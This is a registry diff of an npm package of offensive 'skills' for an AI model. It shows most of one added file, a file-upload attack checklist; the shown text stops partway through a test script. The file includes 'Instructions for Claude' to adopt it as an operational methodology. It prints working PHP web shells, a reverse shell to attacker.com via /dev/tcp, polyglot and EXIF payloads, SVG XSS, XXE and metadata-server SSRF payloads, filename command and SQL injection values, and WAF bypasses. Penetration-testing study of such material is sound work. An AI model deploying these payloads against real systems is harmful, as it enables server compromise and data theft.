@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,822 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: File Upload Vulnerabilities
4
+
5
+ ## Metadata
6
+ - **Skill Name**: file-upload
7
+ - **Folder**: offensive-file-upload
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/file-upload.md
9
+
10
+ ## Description
11
+ File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # File Upload Vulnerabilities
31
+
32
+ ## Mechanisms
33
+
34
+ ```mermaid
35
+ flowchart TD
36
+ A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]
37
+ A --> C[Improper Extension Handling]
38
+ A --> D[Inadequate File Content Analysis]
39
+ A --> E[Unsafe File Storage]
40
+ A --> F[File Operation Mishandling]
41
+ A --> G[Directory Traversal]
42
+ A --> H[Race Conditions]
43
+
44
+ B --> I[Remote Code Execution]
45
+ C --> I
46
+ D --> J[Client-Side Attacks]
47
+ E --> I
48
+ F --> K[Denial of Service]
49
+ G --> L[Arbitrary File Access]
50
+ H --> I
51
+ ```
52
+
53
+ File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms.
54
+ These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
55
+
56
+ The core technical issues behind file upload vulnerabilities include:
57
+
58
+ - **Insufficient File Type Validation**: Failure to properly validate the actual content/type of uploaded files
59
+ - **Improper Extension Handling**: Not restricting dangerous file extensions or allowing easy bypasses
60
+ - **Inadequate File Content Analysis**: Not checking the actual file content versus relying only on extension or content-type
61
+ - **Unsafe File Storage**: Storing files in executable directories or with dangerous permissions
62
+ - **File Operation Mishandling**: Not securely handling file operations during the upload process
63
+ - **Directory Traversal Vulnerabilities**: Allowing manipulation of upload paths
64
+ - **Race Conditions**: Timing issues during validation and moving of uploaded files
65
+ - **Archive Extraction Flaws**: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)
66
+
67
+ File upload vulnerabilities can manifest in various upload functionality patterns:
68
+
69
+ - **Profile Picture Uploads**: Common in user profiles and social media
70
+ - **Document Repositories**: File sharing services and document management systems
71
+ - **Media Uploads**: Image, video, and audio uploaders
72
+ - **Bulk Import Features**: CSV, XML, and other data import functionality
73
+ - **Content Management Systems**: Templates, plugins, themes, and media libraries
74
+
75
+ ## Hunt
76
+
77
+ ### Identifying File Upload Vulnerabilities
78
+
79
+ #### Target Discovery
80
+
81
+ 1. **Map File Upload Functionality**:
82
+ - Profile picture uploads
83
+ - Document/attachment uploads
84
+ - Import/export features
85
+ - Media galleries
86
+ - CMS admin sections
87
+ - Backup/restore features
88
+ - Avatar/image uploads
89
+
90
+ 2. **Identify Upload Processing Patterns**:
91
+ - Client-side validation patterns (JavaScript checks)
92
+ - Server-side validation indicators
93
+ - File type restrictions mentioned in UI
94
+ - Error messages related to file types
95
+
96
+ 3. **Testing Prerequisites**:
97
+ - Collection of test files (various formats)
98
+ - Proxy for intercepting requests (Burp Suite, ZAP)
99
+ - Web shells for testing execution
100
+ - MIME-type tools for manipulation
101
+ - Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)
102
+
103
+ #### Testing Methodologies
104
+
105
+ 1. **Basic File Upload Testing**:
106
+ - Test uploading standard expected files (baseline)
107
+ - Attempt uploading executable file types (PHP, ASP, JSP, etc.)
108
+ - Modify content-type headers during upload
109
+ - Change file extensions after client-side validation
110
+
111
+ 2. **Extension-Based Testing**:
112
+ - Test alternate extensions for web shells:
113
+ ```
114
+ .php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif
115
+ .asp, .aspx, .ashx, .asmx, .cer, .asa
116
+ .jsp, .jspx, .jsw, .jsv, .jspf
117
+ .cfm, .cfml, .cfc, .dbm (Coldfusion)
118
+ .pl, .py, .rb, .cgi
119
+ ```
120
+ - Test double extensions:
121
+ ```
122
+ file.jpg.php
123
+ file.php.jpg
124
+ file.php.jpeg
125
+ file.php%00.jpg # Null byte (older versions)
126
+ file.php%20.jpg # URL encoded space
127
+ file.php%0d%0a.jpg # CRLF injection
128
+ file.php.blah123jpg # If regex is weak
129
+ ```
130
+ - Test case sensitivity bypass:
131
+ ```
132
+ file.PhP
133
+ file.Php5
134
+ file.AspX
135
+ file.pHp
136
+ file.pHP5
137
+ file.PhAr
138
+ ```
139
+ - Test trailing characters/delimiters:
140
+ ```
141
+ file.php.....
142
+ file.php/
143
+ file.php.\
144
+ file.php. # Trailing dot (Windows specific)
145
+ file.php%20 # Trailing space
146
+ file.php%09 # Trailing tab
147
+ file.php%0a # Trailing newline
148
+ file.php%0d # Trailing carriage return
149
+ file.php::$DATA # NTFS Alternate Data Stream (Windows specific)
150
+ file. # No extension
151
+ .html # Just extension
152
+ ```
153
+ - Test filename manipulation:
154
+ ```
155
+ # Try to cut extension with max filename length limit
156
+ # Try empty filename: .php
157
+ # Send filename parameter twice: filename="allowed.jpg";filename="shell.php"
158
+ ```
159
+
160
+ 3. **Content-Type Testing**:
161
+ - Modify the Content-Type header to bypass MIME validation:
162
+ ```
163
+ Content-Type: image/jpeg # actual file is PHP
164
+ Content-Type: image/png # actual file is PHP
165
+ Content-Type: image/gif # actual file is PHP
166
+ Content-Type: application/x-php # declared as image/jpeg when sent
167
+ ```
168
+ - Other Content-Type manipulations:
169
+ ```
170
+ # Remove Content-Type header entirely
171
+ # Send Content-Type twice with allowed/disallowed values
172
+ ```
173
+
174
+ 4. **Magic Byte Forging**:
175
+ - If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.
176
+
177
+ ```
178
+ # Example: Add GIF header to a PHP shell
179
+ GIF89a;<?php system($_GET['cmd']); ?>
180
+ ```
181
+
182
+ 5. **Polyglot File Testing**:
183
+ - Create and test polyglot files (valid in multiple formats)
184
+ ```
185
+ GIFAR files (GIF + RAR)
186
+ Valid Image + PHP code in EXIF metadata
187
+ PDF + PHP code
188
+ SVG + JavaScript for XSS
189
+ ```
190
+ - see [@dan_crowley's talk](http://goo.gl/pquXC2) and [@angealbertini research](https://github.com/abzcoding/Notes/blob/master/pentest/corkami.com)
191
+
192
+ 6. **Path and Filename Abuse Testing**:
193
+ - Test path traversal in filename:
194
+ ```
195
+ filename=../../../../etc/passwd
196
+ filename=/etc/passwd
197
+ filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)
198
+ ```
199
+ - Test injections via filename (if filename is processed unsafely):
200
+ ```
201
+ filename=a$(whoami)z.png # Command Injection
202
+ filename=a`whoami`z.png # Command Injection
203
+ filename="a';select+sleep(10);--z.png" # SQL Injection
204
+ filename=https://internal.service/data # SSRF attempt
205
+ ```
206
+ - Test DoS via large filename (e.g., 255+ characters).
207
+
208
+ 7. **Archive Testing (Zip/Tar)**:
209
+ - **Zip Slip**: Create archives with path traversal (`../../tmp/shell.php`).
210
+ - **Symlink Abuse**: Include symlinks in archives pointing to sensitive files (`ln -s /etc/passwd link.txt`).
211
+ - **Tar Permissions Abuse**: Create tar with restrictive parent dir permissions (`chmod 300`) but permissive subdir (`chmod 700`) containing symlinks.
212
+ - Also test LFI access via zip wrapper: `site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php`
213
+
214
+ 8. **ImageMagick Testing**:
215
+ - Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.
216
+ - See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.
217
+
218
+ 9. **Third-Party Library Testing**:
219
+ - Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).
220
+
221
+ 10. **Race Condition Testing**:
222
+ - **File Upload Race**: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.
223
+ - **URL-Based Upload Race**: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.
224
+ - **HTTP/2 Multiplex Smuggling**: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.
225
+ - **Temp path reads**: Try accessing temporary upload paths before move/scan completes.
226
+
227
+ 11. **SSRF via HTTP Range Requests**:
228
+ - If uploading via URL, try manipulating `Range` headers to potentially redirect parts of the download to internal servers.
229
+
230
+ ### Bypass Techniques
231
+
232
+ ```mermaid
233
+ mindmap
234
+ root((Bypass Techniques))
235
+ Client-Side
236
+ Disable JavaScript
237
+ Request Interception
238
+ Extension Manipulation
239
+ MIME-Type Manipulation
240
+ Server-Side
241
+ Metadata Injection
242
+ Image Content Manipulation
243
+ Polyglot Techniques
244
+ Path Traversal
245
+ DenyList Bypass
246
+ Magic Byte Forging
247
+ Windows Specific Bypasses (. and ADS)
248
+ ```
249
+
250
+ #### Client-Side Validation Bypasses
251
+
252
+ 1. **Disabling JavaScript**:
253
+ - Disable JavaScript to bypass client-side checks
254
+ - Use browser developer tools to modify the DOM
255
+
256
+ 2. **Request Interception**:
257
+ - Intercept and modify upload requests using Burp Suite or ZAP
258
+ - Change file parameters post-validation
259
+
260
+ 3. **Extension Manipulation Techniques**:
261
+
262
+ ```
263
+ # Null byte injection (for PHP < 5.3.4)
264
+ shell.php%00.jpg
265
+ shell.php\x00.jpg
266
+
267
+ # Using alternate representations
268
+ shell.php.....
269
+ shell.php;.jpg
270
+ shell.php::$DATA.jpg
271
+
272
+ # Manipulating request content
273
+ 1. Upload legitimate image
274
+ 2. Intercept request
275
+ 3. Replace file content with shell while keeping filename
276
+ ```
277
+
278
+ 4. **MIME-Type Manipulation**:
279
+ - Modify Content-Type header to match expected type
280
+ - Change file signature/magic bytes to appear as legitimate format
281
+
282
+ #### Server-Side Validation Bypasses
283
+
284
+ 1. **Metadata Injection**:
285
+ - Inject code into image metadata (EXIF)
286
+
287
+ ```
288
+ exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg
289
+ ```
290
+
291
+ 2. **Image Content Manipulation**:
292
+ - Create images containing server-side code
293
+
294
+ ```
295
+ # PHP code in GIF file
296
+ GIF89a;
297
+ <?php system($_GET['cmd']); ?>
298
+ ```
299
+
300
+ 3. **Advanced Polyglot Techniques**:
301
+ - Create files that are valid in multiple formats
302
+
303
+ ```
304
+ # Valid JPG and PHP
305
+ Create JPG with PHP code after the image data
306
+ Add PHP code to EXIF data
307
+ ```
308
+
309
+ 4. **Path Traversal in Upload Locations**:
310
+
311
+ ```
312
+ filename=../../../tmp/shell.php
313
+ filename=..%2f..%2f..%2ftmp%2fshell.php
314
+ filename=../../etc/passwd/logo.png # Example LFI attempt
315
+ filename=\\attacker-site.com\file.png # UNC Path (Windows specific)
316
+ ```
317
+
318
+ 5. **Common DenyList Bypass**:
319
+
320
+ ```
321
+ escape "/" with "\/" or "//" with "\/\/"
322
+ try single "/" instead of "//"
323
+ remove http i.e. "continue=//google.com"
324
+ "/\/\" , "|/" , "/%09/"
325
+ encode, slashes
326
+ "./" CHANGE TO "..//"
327
+ "../" CHANGE TO "....//"
328
+ "/" CHANGE TO "//"
329
+ filename=..%2f..%2f..%2ftmp%2fshell.php
330
+ # Check IIS specific extensions if applicable
331
+ filename=shell.cer
332
+ filename=shell.asa
333
+ # Windows specific bypasses
334
+ filename=shell.aspx. # Trailing dot
335
+ filename=shell.php::$DATA # Alternate Data Stream (ADS)
336
+ filename=shell.php:.jpg # ADS confusion
337
+ ```
338
+
339
+ 6. **GIF Comment Bypass**:
340
+ - Inject payload within GIF comments.
341
+
342
+ ```
343
+ GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
344
+ ```
345
+
346
+ 7. **Magic Byte Forging**:
347
+ - Prepend malicious file content with the magic bytes of an allowed file type.
348
+ ```
349
+ # Example: GIF header + PHP shell
350
+ GIF89a;
351
+ <?php echo 'Magic Byte Bypass'; phpinfo(); ?>
352
+ ```
353
+
354
+ ## Vulnerabilities
355
+
356
+ ### Common File Upload Vulnerability Patterns
357
+
358
+ ```mermaid
359
+ graph TD
360
+ A[File Upload Vulnerabilities] --> B[Implementation-Specific]
361
+ A --> C[Impact Scenarios]
362
+
363
+ B --> D[CMS Upload Vulnerabilities]
364
+ B --> E[Framework Upload Vulnerabilities]
365
+ B --> F[Language-Specific Vulnerabilities]
366
+
367
+ C --> G[RCE]
368
+ C --> H[XSS]
369
+ C --> I[SSRF]
370
+ C --> J[DoS]
371
+ C --> K[LFI]
372
+ ```
373
+
374
+ #### Implementation-Specific Vulnerabilities
375
+
376
+ 1. **CMS Upload Vulnerabilities**:
377
+ - **WordPress**: Plugin and theme uploaders
378
+ ```
379
+ Upload plugin ZIP with malicious PHP files
380
+ SVG uploads with XSS in media library
381
+ ```
382
+ - **Drupal**: Module installations
383
+ ```
384
+ Malicious module installation via admin panel
385
+ ```
386
+ - **Joomla**: Template uploads
387
+ ```
388
+ Malicious template installation
389
+ ```
390
+
391
+ 2. **Framework Upload Vulnerabilities**:
392
+ - **PHP**: File upload handling in common frameworks
393
+ ```
394
+ Laravel file upload middleware bypass
395
+ CodeIgniter upload library misconfiguration
396
+ ```
397
+ - **Java**: Spring MVC file upload handlers
398
+ ```
399
+ Spring MultipartResolver misconfiguration
400
+ ```
401
+ - **ASP.NET**: File upload components
402
+ ```
403
+ ASP.NET FileUpload control misconfiguration
404
+ ```
405
+
406
+ 3. **Language-Specific Upload Vulnerabilities**:
407
+ - **PHP**: move_uploaded_file() race conditions
408
+ - **Java**: Temporary file creation vulnerabilities
409
+ - **Node.js**: Express-fileupload vulnerabilities
410
+
411
+ ### Impact Scenarios
412
+
413
+ #### Extension Impact Matrix
414
+
415
+ Common file extensions and their potential security impacts:
416
+
417
+ - **Web Shells & RCE**:
418
+ - `.php`, `.php3`, `.php4`, `.php5`, `.phtml`, `.phar`, `.phpt`
419
+ - `.asp`, `.aspx`, `.ashx`, `.asmx`, `.asa`, `.cer`, `xamlx` (ASP.NET)
420
+ - `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf` (Java Server Pages)
421
+ - `.cfm`, `.cfml`, `.cfc`, `.dbm` (ColdFusion)
422
+ - `.pl`, `.py`, `.rb`, `.cgi`
423
+ - `.htaccess` (if Apache allows override, can reconfigure PHP handling or execute commands)
424
+ - `.config` (web.config for IIS/ASP.NET)
425
+ - **Client-Side Attacks**:
426
+ - `.svg`: Stored XSS, SSRF, XXE
427
+ - `.gif`: Stored XSS (via comments), SSRF
428
+ - `.html`, `.js`: HTML injection, XSS, Open redirect, Phishing
429
+ - `.wasm`: WebAssembly modules for client-side code execution
430
+ - `.webp`, `.avif`: Modern image format parser bugs
431
+ - **Server-Side Attacks**:
432
+ - `.csv`: CSV injection (Formula Injection)
433
+ - `.xml`: XXE
434
+ - `.avi`, `.mov`: Potential LFI, SSRF (via external streams/subtitles)
435
+ - `.pdf`, `.pptx`: SSRF, Blind XXE (via external entities/references)
436
+ - `.zip`: RCE via LFI (using `zip://` wrapper), DoS (Zip Bomb), Zip Slip (Path Traversal during extraction)
437
+ - `.scf` (Windows Shortcut): RCE (forces NTLM hash disclosure when browsed via UNC path)
438
+ - **Denial of Service**:
439
+ - `.png`, `.jpeg`: Pixel flood attack (large dimensions/compressed data)
440
+ - Large filenames: `1234...99.png` (e.g., > 255 chars)
441
+ - Zip bombs (highly compressed archives)
442
+ - Files exploiting parser libraries (ImageTragick, XML bombs)
443
+
444
+ #### Remote Code Execution (RCE)
445
+
446
+ - **Web Shell Uploading**: Gaining command execution on the server
447
+ ```php
448
+ <?php system($_GET['cmd']); ?>
449
+ ```
450
+ - **Reverse Shell Deployment**: Establishing persistent control
451
+ ```php
452
+ <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/443 0>&1'");?>
453
+ ```
454
+
455
+ #### File Inclusion Attack Chains
456
+
457
+ - **LFI via Uploaded Files**: Chaining local file inclusion with uploads
458
+ ```
459
+ 1. Upload malicious file (e.g., `avatar.jpg` containing PHP code).
460
+ 2. Trigger inclusion via LFI vulnerability (e.g., `/?page=../../uploads/avatar.jpg`).
461
+ ```
462
+ - **LFI via Zip Wrapper**:
463
+ ```
464
+ 1. Upload malicious file inside a zip (e.g., `archive.zip` containing `shell.php`).
465
+ 2. Trigger inclusion: `/?page=zip://uploads/archive.zip%23shell.php`
466
+ ```
467
+
468
+ #### XSS via Uploaded Files
469
+
470
+ - **SVG-Based XSS**:
471
+ ```xml
472
+ <?xml version="1.0" standalone="no"?>
473
+ <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
474
+ <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
475
+ <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
476
+ <script type="text/javascript">
477
+ alert("XSS via SVG");
478
+ </script>
479
+ </svg>
480
+ ```
481
+ - **GIF Comment XSS**:
482
+ ```
483
+ GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
484
+ ```
485
+ - **HTML/JS File Uploads**:
486
+ ```html
487
+ <!-- If .html or .js uploads are allowed and rendered -->
488
+ <script>
489
+ alert(document.cookie);
490
+ </script>
491
+ ```
492
+ - **Filename-Based XSS**:
493
+ ```
494
+ filename="<svg onload=alert(1)>.jpg"
495
+ filename="xss.<svg onload=alert(1)>.jpg"
496
+ ```
497
+
498
+ #### Server-Side Request Forgery (SSRF) via Uploads
499
+
500
+ - **XXE in SVG Uploads**:
501
+ ```xml
502
+ <?xml version="1.0" standalone="yes"?>
503
+ <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://internal.service/resource"> ]>
504
+ <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
505
+ <text font-size="16" x="0" y="16">&xxe;</text>
506
+ </svg>
507
+ ```
508
+ - **SVG Image Href SSRF**:
509
+ ```xml
510
+ <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
511
+ <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
512
+ <image height="200" width="200" xlink:href="http://internal-metadata-server/latest/meta-data/" />
513
+ </svg>
514
+ ```
515
+ - **PDF/PPTX SSRF**: Exploiting features that fetch external resources.
516
+ - **Upload from URL Feature**: If the application allows providing a URL for upload, test internal IPs/metadata endpoints.
517
+ - **SSRF via Filename**: Submitting a URL as the filename (`filename=http://internal...`).
518
+ - **SSRF via HTTP Range Requests**: Manipulating `Range` header during URL fetch.
519
+
520
+ #### XXE via Uploads
521
+
522
+ - **XML File Upload**: Standard XXE payloads in `.xml` files.
523
+ - **SVG File Upload**: See SSRF example above.
524
+ - **Excel File Upload (`.xlsx`)**: `.xlsx` files are zip archives containing XML files (like `sharedStrings.xml`) which can be crafted with XXE payloads.
525
+ - **PDF/PPTX Blind XXE**: Similar to SSRF, using external entity references.
526
+
527
+ #### Open Redirect via Uploads
528
+
529
+ - **SVG Open Redirect**:
530
+ ```xml
531
+ <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
532
+ <svg onload="window.location='https://attacker.com'" xmlns="http://www.w3.org/2000/svg">
533
+ <rect width="300" height="100"/>
534
+ </svg>
535
+ ```
536
+
537
+ #### Command Injection via Filename
538
+
539
+ - If the filename is passed unsanitized to shell commands:
540
+ ```
541
+ filename="; sleep 10;.jpg"
542
+ filename="`sleep 10`.jpg"
543
+ filename="$(sleep 10).jpg"
544
+ ```
545
+
546
+ #### SQL Injection via Filename
547
+
548
+ - If the filename is used unsanitized in SQL queries:
549
+ ```
550
+ filename="' OR SLEEP(10)-- -.jpg"
551
+ filename="sleep(10)-- -.jpg"
552
+ filename="'sleep(10).jpg" # Different quoting/termination
553
+ ```
554
+
555
+ #### Denial of Service (DoS)
556
+
557
+ - **Pixel Flood Attack**: Uploading specially crafted images (e.g., `lottapixel.jpg`) that consume excessive resources during processing. ([Reference](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/file-upload/malicious-images/lottapixel.jpg))
558
+ - **Zip Bomb**: Uploading highly compressed archives that expand significantly.
559
+ - **Large Filename**: Using extremely long filenames can sometimes cause issues or DoS.
560
+ - **Uploading files with content that exploits parsing libraries (e.g., ImageTragick, billion laughs XXE).**
561
+ - **Uploading `.eml` files with `Content-Type: text/html` if processed insecurely.**
562
+ - **FFmpeg/Video Processing**: Upload crafted video files (`.mp4`, `.avi`, `.mov`) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.
563
+ - **HEIC/AVIF Processing**: Exploit parsing bugs in libheif/libavif during thumbnail generation.
564
+ - **PDF.js Browser Rendering**: Upload PDFs with malicious annotations or forms that exploit client-side renderers.
565
+
566
+ #### Additional Attack Vectors
567
+
568
+ ##### ImageMagick Vulnerabilities
569
+
570
+ 1. Using .mvg files for SSRF/LFI:
571
+
572
+ ```
573
+ push graphic-context
574
+ viewbox 0 0 640 480
575
+ fill 'url(http://attacker.com/)'
576
+ pop graphic-context
577
+ ```
578
+
579
+ 2. Using the gifoeb tool for memory disclosure:
580
+
581
+ ```bash
582
+ ./gifoeb gen 512x512 dump.gif
583
+ # Try different extensions:
584
+ ./gifoeb gen 1123x987 dump.jpg
585
+ ./gifoeb gen 1123x987 dump.png
586
+ # Recover pixels after upload and download:
587
+ # for p in previews/*; do ./gifoeb recover $p | strings; done
588
+ ```
589
+
590
+ ##### WAF Bypass Techniques
591
+
592
+ 1. URL Parameter Manipulation:
593
+
594
+ ```
595
+ /?file=xx.php <- Blocked
596
+ /?file===xx.php <- Bypassed
597
+ ```
598
+
599
+ 2. Content-Type Manipulation with Metadata:
600
+
601
+ ```bash
602
+ exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg
603
+ mv shell.jpg shell.php.jpg
604
+ ```
605
+
606
+ ### New CVEs
607
+
608
+ - **CVE-2024-29510 – Ghostscript ≤ 10.03.0 EPS/JPG RCE**: Exploit via EPS-in-JPG polyglot when Ghostscript is used for image conversion.
609
+ - **CVE-2024-53677 – Apache Struts S2-067**: Multipart upload path-traversal leading to RCE.
610
+ - **CVE-2024-57169 – SOPlanning ≤ 1.53**: Arbitrary file upload to the web-root.
611
+ - **CVE-2024-48514 – php-heic-to-jpg ≤ 1.0.5**: Filename sanitisation bypass resulting in RCE during HEIC conversion.
612
+ - Image processing stacks (libvips/Sharp, GraphicsMagick/ImageMagick, Ghostscript, pdfium) continue to receive critical parser bugs; sandbox converters and track advisories.
613
+ - HEIC/AVIF conversion pipelines frequently mishandle temporary files and trust `Content-Type`/magic bytes.
614
+ - Serverless image proxies (imgproxy, Thumbor, custom Lambda/Cloud Functions) often allow SSRF/LFI via remote URL sources.
615
+
616
+ ## Methodologies
617
+
618
+ ### Tools
619
+
620
+ #### File Upload Vulnerability Testing Tools
621
+
622
+ - **Burp Suite**: Content-Type and request manipulation, Intruder for fuzzing
623
+ - **OWASP ZAP**: Automated scanning for upload vulnerabilities
624
+ - **ExifTool**: Metadata manipulation for bypass testing
625
+ - **Weevely**: Web shell generation tool
626
+ - **Fuxploider**: File upload vulnerability scanner ([GitHub](https://github.com/almandin/fuxploider))
627
+ - **Upload Scanner (Burp Extension)**: ([PortSwigger BApp Store](https://portswigger.net/bappstore))
628
+ - **FUFF / ffuf / wfuzz**: Fuzzing file upload endpoints, extensions, parameters
629
+
630
+ #### Custom Testing Scripts
631
+
632
+ ```python
633
+ import requests
634
+ from requests_toolbelt.multipart.encoder import MultipartEncoder
635
+
636
+ def test_file_upload(target_url, file_path, file_name, content_type):
637
+ """
638
+ Test file upload with custom parameters
639
+ """
640
+ multipart_data = MultipartEncoder(
641
+ fields={
642
+ 'file': (file_name, open(file_path, 'rb'), content_type)
643
+ }
644
+ )
645
+
646
+ headers = {
647
+ 'Content-Type': multipart_data.content_type
648
+ }
649
+
650
+ response = requests.post(target_url, data=multipart_data, headers=headers)
651
+
652
+ # Return response for analysis
653
+ return {
654
+ 'status_code': response.status_code,
655
+ 'response_text': response.text,
656
+ 'response_headers': dict(response.headers)
657
+ }
658
+
659
+ # Example usage:
660
+ target = 'https://target.com/upload.php'
661
+ test_cases = [
662
+ # Basic tests
663
+ {'path': 'shell.php', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
664
+ {'path': 'shell.php', 'name': 'shell.php.jpg', 'type': 'image/jpeg'},
665
+ {'path': 'shell.php', 'name': 'shell.php%00.jpg', 'type': 'image/jpeg'},
666
